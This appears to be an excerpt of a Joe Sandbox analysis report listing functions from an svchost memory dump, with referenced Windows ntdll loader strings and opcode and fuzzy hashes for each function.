Instruction ID: 414a29d4ca1dd063a1a58a588a3bf7dc8024346768b4fc04504134d9877469f6
Opcode Fuzzy Hash: 0b4e0b12a20ec3b8061a9cb574b9cde759273f3283cc750cb9ed6cf647d541ce
Instruction Fuzzy Hash: A2B1C172A44345AFE722DE56CC80FABB7E9EF45794F11096AFB4097280C775E804CB92

Function 02F2A197 Relevance: 4.0, Strings: 3, Instructions: 238COMMON

Download Yara Rule

Strings

FilterFullPath, xrefs: 02F8C2E6
\??\, xrefs: 02F8C1E4
UseFilter, xrefs: 02F2A1C1

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: FilterFullPath$UseFilter$\??\
API String ID: 0-2779062949
Opcode ID: c32f9a988065948e654dd424284b7aa101b4307c9e6d3ae604ec6e05767bb7fa
Instruction ID: 1958c3bfb66959d5f9f647e7df55495a2a46c0d08e863e6496d5c6c720d9c83f
Opcode Fuzzy Hash: c32f9a988065948e654dd424284b7aa101b4307c9e6d3ae604ec6e05767bb7fa
Instruction Fuzzy Hash: 64A17D71D016299BDB31EF64CC88BAAF7B9EF44744F1001EAEA09A7250D7359E85CF60

Function 02FC36EE Relevance: 4.0, Strings: 3, Instructions: 236COMMON

Download Yara Rule

Strings

@, xrefs: 02FC3867
LdrpResMapFile Exit, xrefs: 02FC3727
LdrpResMapFile Enter, xrefs: 02FC3715

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: @$LdrpResMapFile Enter$LdrpResMapFile Exit
API String ID: 0-318774311
Opcode ID: b372a788e8fc79aafe75cf5242b73ef3c8090e52c0d61c5d0fba45c8b677d180
Instruction ID: 81a4594c3c1ff7cd83e4cc83f39296257c026f90a59ec9aa2e639a2769792798
Opcode Fuzzy Hash: b372a788e8fc79aafe75cf5242b73ef3c8090e52c0d61c5d0fba45c8b677d180
Instruction Fuzzy Hash: 7181AC71A08346AFD3119B14CA44F6AB7E9EF847C4F2489ADFE8197390D774D904CB52

Function 02F6909C Relevance: 3.9, Strings: 3, Instructions: 199COMMON

Download Yara Rule

Strings

&, xrefs: 02FA5CF8
@, xrefs: 02F69148
%, xrefs: 02FA5D3F

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: %$&$@
API String ID: 0-1537733988
Opcode ID: bbf334ff7ba6fba878b38553385942be3872a37898b2f906d7ec89968e34b8a5
Instruction ID: 216a66bbff7a475f971db9d2ba3b2696a6ac822e05d5b1165974975395abb7a8
Opcode Fuzzy Hash: bbf334ff7ba6fba878b38553385942be3872a37898b2f906d7ec89968e34b8a5
Instruction Fuzzy Hash: 2971E471A093019FD710DF24C988A3BBBE6FF84798F60491EE6A687250C770D805CF52

Function 0300B73C Relevance: 3.9, Strings: 3, Instructions: 180COMMON

Download Yara Rule

Strings

\Registry\Machine\SYSTEM\CurrentControlSet\Control\International, xrefs: 0300B82A
TargetNtPath, xrefs: 0300B82F
GlobalizationUserSettings, xrefs: 0300B834

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: GlobalizationUserSettings$TargetNtPath$\Registry\Machine\SYSTEM\CurrentControlSet\Control\International
API String ID: 0-505981995
Opcode ID: 9e01031dbbec496ad25cbc69303846d0b0d03c51665ca5d7334b0b97d94e4be4
Instruction ID: 0a0364e79818e7ec3d7397236ac91a3ae41617b34c33ffd2378e9ae933d07dd9
Opcode Fuzzy Hash: 9e01031dbbec496ad25cbc69303846d0b0d03c51665ca5d7334b0b97d94e4be4
Instruction Fuzzy Hash: BD614F72D42229ABEB21DF54DC88BDAF7B9AF14750F0101E5A609A7290DB74DE84CF90

Function 02F2F7BA Relevance: 3.9, Strings: 3, Instructions: 167COMMON

Download Yara Rule

Strings

RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 02F8E6C6
HEAP: , xrefs: 02F8E6B3
HEAP[%wZ]: , xrefs: 02F8E6A6

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
API String ID: 0-1340214556
Opcode ID: 003fa7611a7caebfb8f65c000fe12188014aa06a403b269ca497a4ecfdc8ce6b
Instruction ID: 9ce0abc9846b9a46e13acad0a969c563d6b4832c3b9a3002bdcc638549e73ff7
Opcode Fuzzy Hash: 003fa7611a7caebfb8f65c000fe12188014aa06a403b269ca497a4ecfdc8ce6b
Instruction Fuzzy Hash: EA51E331610654EFE722EB68C994FA6FBF9FF06384F1401A4E7419BA92D774E904CB11

Function 02F6C720 Relevance: 3.9, Strings: 3, Instructions: 141COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 02FA82E8
Failed to reallocate the system dirs string !, xrefs: 02FA82D7
LdrpInitializePerUserWindowsDirectory, xrefs: 02FA82DE

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
API String ID: 0-1783798831
Opcode ID: fe6fd8bc674ce151de1b8203d31ae2db4a8be1848d2e871ab9075f46addb2da7
Instruction ID: e2e7385d576d6f0ac2be360728e493acc51ea2964f265f4e0185690c22303b62
Opcode Fuzzy Hash: fe6fd8bc674ce151de1b8203d31ae2db4a8be1848d2e871ab9075f46addb2da7
Instruction Fuzzy Hash: 4D41A471945318ABD720EB64DC48B6B77E9EF447D0F10452AFB89D7250EBB4E804CB91

Function 02F616CF Relevance: 3.9, Strings: 3, Instructions: 127COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrtls.c, xrefs: 02FA1B4A
TlsVector %p Index %d : %d bytes copied from %p to %p, xrefs: 02FA1B39
LdrpAllocateTls, xrefs: 02FA1B40

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: LdrpAllocateTls$TlsVector %p Index %d : %d bytes copied from %p to %p$minkernel\ntdll\ldrtls.c
API String ID: 0-4274184382
Opcode ID: bfc485b1e5fb426d2688f1d2240d68286b9c25d9205f803fab2cdd7d8fe547d9
Instruction ID: 02907eda185c5254d189c8b2453cf62fc16123623963994f086cc119d1ee3a44
Opcode Fuzzy Hash: bfc485b1e5fb426d2688f1d2240d68286b9c25d9205f803fab2cdd7d8fe547d9
Instruction Fuzzy Hash: 09416AB5A01608AFDB15DFA8CC51BAEBBF6FF48794F144159E60AA7250D774A800CFA0

Function 02FEC188 Relevance: 3.9, Strings: 3, Instructions: 123COMMON

Download Yara Rule

Strings

\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 02FEC1C5
@, xrefs: 02FEC1F1
PreferredUILanguages, xrefs: 02FEC212

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: @$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
API String ID: 0-2968386058
Opcode ID: 4014afaa5457e73d4326c5b488c4b3c481b87ffefc3fd1da873a8fdea8c857a7
Instruction ID: a3c5d02b082271866695e8c921aebc170b063d87bc7d1769813cd431fadce4eb
Opcode Fuzzy Hash: 4014afaa5457e73d4326c5b488c4b3c481b87ffefc3fd1da873a8fdea8c857a7
Instruction Fuzzy Hash: 62413172E00219ABDF11DED4C891BEEB7B9AB14B84F14416BEB06B7280D7749A44CB50

Function 02FC4144 Relevance: 3.9, Strings: 3, Instructions: 121COMMON

Download Yara Rule

Strings

@, xrefs: 02FC4225
LdrpResValidateFilePath Enter, xrefs: 02FC4160
LdrpResValidateFilePath Exit, xrefs: 02FC4172

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: @$LdrpResValidateFilePath Enter$LdrpResValidateFilePath Exit
API String ID: 0-1373925480
Opcode ID: 37962e4731ff5813eedbb1736223b1c455912f4185cb838cbe243105b8eb840e
Instruction ID: 068f37f9c9fe23710dc2130c8ac5431af176335d097d1a2f78b28a9f9ccea024
Opcode Fuzzy Hash: 37962e4731ff5813eedbb1736223b1c455912f4185cb838cbe243105b8eb840e
Instruction Fuzzy Hash: 7641D072A002598BEB26DBA4CE54BEDBBB5EF55384F24049EDA41FB781DB748901CB10

Function 02FB4755 Relevance: 3.9, Strings: 3, Instructions: 121COMMON

Download Yara Rule

Strings

Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 02FB4888
minkernel\ntdll\ldrredirect.c, xrefs: 02FB4899
LdrpCheckRedirection, xrefs: 02FB488F

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
API String ID: 0-3154609507
Opcode ID: f64feaf9ce9969dd4b2763bc820a47898eea2d507d043ff4bc3f1a1a9ad60ac1
Instruction ID: b8ad5a4bd86b4e562cad4d3b232fa92b04c97edd6e477612a414f28079c37e05
Opcode Fuzzy Hash: f64feaf9ce9969dd4b2763bc820a47898eea2d507d043ff4bc3f1a1a9ad60ac1
Instruction Fuzzy Hash: 0A410632B016949FCF22DE1ADA60EA7B7E4AF497D0F150259EE49D7752D330D800CB91

Function 02F633A0 Relevance: 3.9, Strings: 3, Instructions: 111COMMON

Download Yara Rule

Strings

Actx , xrefs: 02F633AC
SXS: %s() passed the empty activation context data, xrefs: 02FA29FE
RtlCreateActivationContext, xrefs: 02FA29F9

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: Actx $RtlCreateActivationContext$SXS: %s() passed the empty activation context data
API String ID: 0-859632880
Opcode ID: 07602ef8c6bf8de6d92620c9a473f005e3706a4efdb7488f99f2dfcbfa1f5bac
Instruction ID: d89d668973b75fbc42d8d8e7c2a0ae3ca890c8f465598b0dcc86de226f0bb89d
Opcode Fuzzy Hash: 07602ef8c6bf8de6d92620c9a473f005e3706a4efdb7488f99f2dfcbfa1f5bac
Instruction Fuzzy Hash: 683146326003059FEB26DE58CC94BA6B7A5FF44B94F1544A9FF069F686CB70D841CB90

Function 02F61607 Relevance: 3.8, Strings: 3, Instructions: 98COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrtls.c, xrefs: 02FA1A51
LdrpInitializeTls, xrefs: 02FA1A47
DLL "%wZ" has TLS information at %p, xrefs: 02FA1A40

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: DLL "%wZ" has TLS information at %p$LdrpInitializeTls$minkernel\ntdll\ldrtls.c
API String ID: 0-931879808
Opcode ID: 847417a80ce4d89623ae1a2d61c7b2fe626b888472c80342f32a4f62c00be5d2
Instruction ID: 99733c9fea443ad7164bcde4ab9fb56bc93b3275069ec0499693cecbad0c0422
Opcode Fuzzy Hash: 847417a80ce4d89623ae1a2d61c7b2fe626b888472c80342f32a4f62c00be5d2
Instruction Fuzzy Hash: 7B31F876A01200AFE7209B58CC49F7BB7B9FB557D4F250159E709A7280E774AD048F94

Function 02F71270 Relevance: 3.8, Strings: 3, Instructions: 97COMMON

Download Yara Rule

Strings

\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 02F7127B
@, xrefs: 02F712A5
BuildLabEx, xrefs: 02F7130F

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: @$BuildLabEx$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 0-3051831665
Opcode ID: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
Instruction ID: e7f1c65e2ac0c893d8cbed8f8b5020f02a71740a199711fe59071d9a8e49d2c5
Opcode Fuzzy Hash: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
Instruction Fuzzy Hash: 96318F72A00519ABDF11AFA5CC44EAFBBBEEB84794F004066EB14A71A0D770DA05CB60

Function 02FB20DE Relevance: 3.8, Strings: 3, Instructions: 41COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 02FB2104
Process initialization failed with status 0x%08lx, xrefs: 02FB20F3
LdrpInitializationFailure, xrefs: 02FB20FA

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: LdrpInitializationFailure$Process initialization failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
API String ID: 0-2986994758
Opcode ID: 0bb3ebc0fe8e529ca32b59a737093dd099cffa934b596125e9f33be598be8cba
Instruction ID: 61a82ffdcb15a9fd5c4206af214e76496db5581715e18f4e95da52383ed93042
Opcode Fuzzy Hash: 0bb3ebc0fe8e529ca32b59a737093dd099cffa934b596125e9f33be598be8cba
Instruction Fuzzy Hash: F2F0C275A41218ABFB24E64DDC52FDA3769EF40BD4F50006AFB017B685D6B4A900CE91

Function 02F403E9 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 02F94D8A

Strings

#%u, xrefs: 02F94D82

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID: ___swprintf_l
String ID: #%u
API String ID: 48624451-232158463
Opcode ID: 7144864c3a51b5bf0ef8d000a88a3eeeb7727afd387c6a3a03b45fb79ddcedff
Instruction ID: 1535730bf643b885f111de85902c7eebf24187770f4e0de71cf0338cae801218
Opcode Fuzzy Hash: 7144864c3a51b5bf0ef8d000a88a3eeeb7727afd387c6a3a03b45fb79ddcedff
Instruction Fuzzy Hash: 0E713C71E0014A9FDB05DF98C990BAEBBF9AF08784F144069EA05E7251EB74ED41CB61

Function 02FD705E Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 112timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 02FD70C8

Strings

kLsE, xrefs: 02FD70A4

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID: DebugPrintTimes
String ID: kLsE
API String ID: 3446177414-3058123920
Opcode ID: 9c434bdf9c848bdf357f0de5e24179a5fa7edfc7c411caade2e1359e068ebbe2
Instruction ID: b8e4bfe7c48eee5fe3107dd553b606da11365445165413a3665de8124a6a0eb6
Opcode Fuzzy Hash: 9c434bdf9c848bdf357f0de5e24179a5fa7edfc7c411caade2e1359e068ebbe2
Instruction Fuzzy Hash: 24414B3190335947E731BB65EC48B6ABB96AB10BE8F380219EF505F1C9CBB94485CF90

Function 02F452A0 Relevance: 3.2, Strings: 2, Instructions: 658COMMON

Download Yara Rule

Strings

@, xrefs: 02F455A3
@, xrefs: 02F45445

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: 9696411a808d418fd599a454e9f45a17f327d4083b94e1cab4902050202ce3b3
Instruction ID: 09e47399ba10b6e89ef6aca7144707d65e601a7d0969321845872d4496cb8445
Opcode Fuzzy Hash: 9696411a808d418fd599a454e9f45a17f327d4083b94e1cab4902050202ce3b3
Instruction Fuzzy Hash: 6E32D371A083118BDB24EF15C490B3FBBE5EF94788F94491EFA8597290EBB4D844CB52

Function 02FFA352 Relevance: 2.8, Strings: 2, Instructions: 348COMMON

Download Yara Rule

Strings

`, xrefs: 02FFA44B
`, xrefs: 02FFA551

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: `$`
API String ID: 0-197956300
Opcode ID: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
Instruction ID: b0d463210bc01e4a66d60eb971cf7440bc5ab0e187156b185174a7fbf9909a03
Opcode Fuzzy Hash: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
Instruction Fuzzy Hash: DCC1D0326043469BD765CF28C840B2BBBE6BF84798F084A2DFB99CA2A0D775D505CF51

Function 02FAE6F2 Relevance: 2.7, Strings: 2, Instructions: 179COMMON

Download Yara Rule

Strings

Legacy, xrefs: 02FAE75A
UEFI, xrefs: 02FAE751

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: c6752380e0d8c81cded8c86f54b3a31b50fe56e4794b733d5e3dd42edc48ccbc
Instruction ID: 860a06b1416434b9eb05b5e3cea6e21350d15564821b167630085e0e2adee094
Opcode Fuzzy Hash: c6752380e0d8c81cded8c86f54b3a31b50fe56e4794b733d5e3dd42edc48ccbc
Instruction Fuzzy Hash: 0F613BB2E002189FDB14DFA8C890FAEBBB5FB44784F544079E759EB291D731A940CB50

Function 02F4F720 Relevance: 2.7, Strings: 2, Instructions: 159COMMON

Download Yara Rule

Strings

$, xrefs: 02F4F860
$, xrefs: 02F4F7F6

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: $$$
API String ID: 0-233714265
Opcode ID: 8bf17b9a322d737a70f9db4246740b6e748a17af9e5cb0099c2a1fdcdcc9e95a
Instruction ID: c668f9ac303f182c29fbe67b90832aa1a7b2c310034e5451ff54be4304a2c828
Opcode Fuzzy Hash: 8bf17b9a322d737a70f9db4246740b6e748a17af9e5cb0099c2a1fdcdcc9e95a
Instruction Fuzzy Hash: 9661B071E01749DFDB21EFA4C980FADBBB2FF44384F144169D6196BA40DBB4A941CB50

Function 02F3A2C3 Relevance: 2.6, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

RtlpResUltimateFallbackInfo Enter, xrefs: 02F3A2FB
RtlpResUltimateFallbackInfo Exit, xrefs: 02F3A309

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
API String ID: 0-2876891731
Opcode ID: c3cd3b03de78f76e78474b72e7e43cbddf209ffa159984ef88240eade577d355
Instruction ID: 3de49321b9b6cddf1d851b218a015bfa5862d7d1fbade71d0bd545344d7ff3ba
Opcode Fuzzy Hash: c3cd3b03de78f76e78474b72e7e43cbddf209ffa159984ef88240eade577d355
Instruction Fuzzy Hash: 0C41AC31E04649DBDB12CF6AC880BAA77F5FF84784F2440A9EA45DB2A1E776D900CB50

Function 02F6329E Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

@, xrefs: 02F6330D
.Local\, xrefs: 02F632B5

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: .Local\$@
API String ID: 0-380025441
Opcode ID: 0de79ec5a63e7dc8c4567f42c9f80953255179025bd56ba3c79f7986c4d5511c
Instruction ID: fbece96beb089292426be95d0d7f072e2bc5668726e575c1648a58fad8c0c2fb
Opcode Fuzzy Hash: 0de79ec5a63e7dc8c4567f42c9f80953255179025bd56ba3c79f7986c4d5511c
Instruction Fuzzy Hash: 5C31B3B26083049FD310DF28C985A6BBBE8FBC5B94F44096EFA9583250DB31DD04CB92

Function 02F3C7C0 Relevance: 2.2, Strings: 1, Instructions: 960COMMON

Download Yara Rule

Strings

MUI, xrefs: 02F3C8C3, 02F3CA40

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: MUI
API String ID: 0-1339004836
Opcode ID: c1a81a5e1fcab61c71b31dde98a13e656962cb0a90115389de52542746f846d1
Instruction ID: 450f8f6befe6159c156fc4bfebfb5c7093b103eac9b7398ed27b17ab4f3c541f
Opcode Fuzzy Hash: c1a81a5e1fcab61c71b31dde98a13e656962cb0a90115389de52542746f846d1
Instruction Fuzzy Hash: CE824B75E002188BDB26CFA9C980BEDB7B5BF48794F14816AEA59BB250D7309D81CF50

Function 02F37370 Relevance: 1.7, APIs: 1, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cef0bc77ac35f273f27871049b8462ab9641df35bb0afd25f16da04f12a6ffc0
Instruction ID: 02ddd35858037dcf4ca437f14585751204905c155fb96847d35400d7967eb547
Opcode Fuzzy Hash: cef0bc77ac35f273f27871049b8462ab9641df35bb0afd25f16da04f12a6ffc0
Instruction Fuzzy Hash: 72A15DB1A08342CFD725EF28C580A2AFBE6BF88394F14496DE68597350D770E945CF92

Function 02F6F603 Relevance: 1.6, APIs: 1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6dd735b61eaf181f244bec96af3f89f327abad2b140ee5b3079fb7bf0db7c33
Instruction ID: a4beb30a8a483e2a5f0d9cfb148287fc24492107d923f4d4cddcd2874558b336
Opcode Fuzzy Hash: f6dd735b61eaf181f244bec96af3f89f327abad2b140ee5b3079fb7bf0db7c33
Instruction Fuzzy Hash: F2414FB4D01288DFDB20DFA9D880AAEBBF4FF48744F60426EDA59A7611D7359940CF60

Function 02F6A660 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

GlobalTags, xrefs: 02FA67C9

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: GlobalTags
API String ID: 0-1106856819
Opcode ID: 8588853b3b94b8e8213b5982284917a4c5e4ca29e150571b373346def54ef809
Instruction ID: 8b8c3628c2668735d016f7e4bd4895bacd36ca8fd53dba921cfc659af3c88ea6
Opcode Fuzzy Hash: 8588853b3b94b8e8213b5982284917a4c5e4ca29e150571b373346def54ef809
Instruction Fuzzy Hash: 1A7161B5E0021ACFDF24DF98D5A0AADB7BAFF48784F188129EA05E7240DB719941CF50

Function 02F3973A Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

@, xrefs: 02F397F3

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 32fdc9af89b0788a3bba97dbd317d7b10cd0208f20562fc1281393ba3f626ce3
Instruction ID: bdad633e260764d34264c2ac2fa79bdeaf639ef3777db53ef7a52f88b398679e
Opcode Fuzzy Hash: 32fdc9af89b0788a3bba97dbd317d7b10cd0208f20562fc1281393ba3f626ce3
Instruction Fuzzy Hash: 57615E71D00259AFDF22DF99C840FAEBBB5FF84794F14456AEA10B7290D7B49A01CB50

Function 02FBF7AF Relevance: 1.4, Strings: 1, Instructions: 161COMMON

Download Yara Rule

Strings

@, xrefs: 02FBF867

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 8281e956446473216ed512d18dfae26456dfb93296f0f4edbd2d8efa18977056
Instruction ID: e7f3bdcc438c5c0644e23d0fd89fd12e90ab74bc46a237717586ce1b398d3c9e
Opcode Fuzzy Hash: 8281e956446473216ed512d18dfae26456dfb93296f0f4edbd2d8efa18977056
Instruction Fuzzy Hash: 0B517A72614345AFD7229F55CC40FAAB7E9FF88794F000A29BB8497690DBB4E904CB91

Function 02F4E627 Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

EXT-, xrefs: 02F4E6A4

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: EXT-
API String ID: 0-1948896318
Opcode ID: effe3f17870ae637c14caa8f92d6066a4f5e0e0baed552a338a7e4294a89229d
Instruction ID: c2efc40024ced83c203ddd773604ce4ce5fa49eaac96da8892ab55ef6ec75961
Opcode Fuzzy Hash: effe3f17870ae637c14caa8f92d6066a4f5e0e0baed552a338a7e4294a89229d
Instruction Fuzzy Hash: 904182729083159BD710DB748880F6BBBD9BF88798F44092DFB94D7180EBB4D904CB96

Function 02FEB256 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

PreferredUILanguages, xrefs: 02FEB28F

Memory Dump Source

Source File: 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2f00000_svchost.jbxd

Similarity

API ID:
String ID: PreferredUILanguages
API String ID: 0-1884656846
Opcode ID: 7c550b3ddff4f5c0ad796305b2697a8a3a608f3b33668932c55c7fb06f8219d6
Instruction ID: 4bc2fdc3cbbb0bdbcf34f6ed2b84de43a7bc996f0774e05e0f4e6330926b0e53
Opcode Fuzzy Hash: 7c550b3ddff4f5c0ad796305b2697a8a3a608f3b33668932c55c7fb06f8219d6
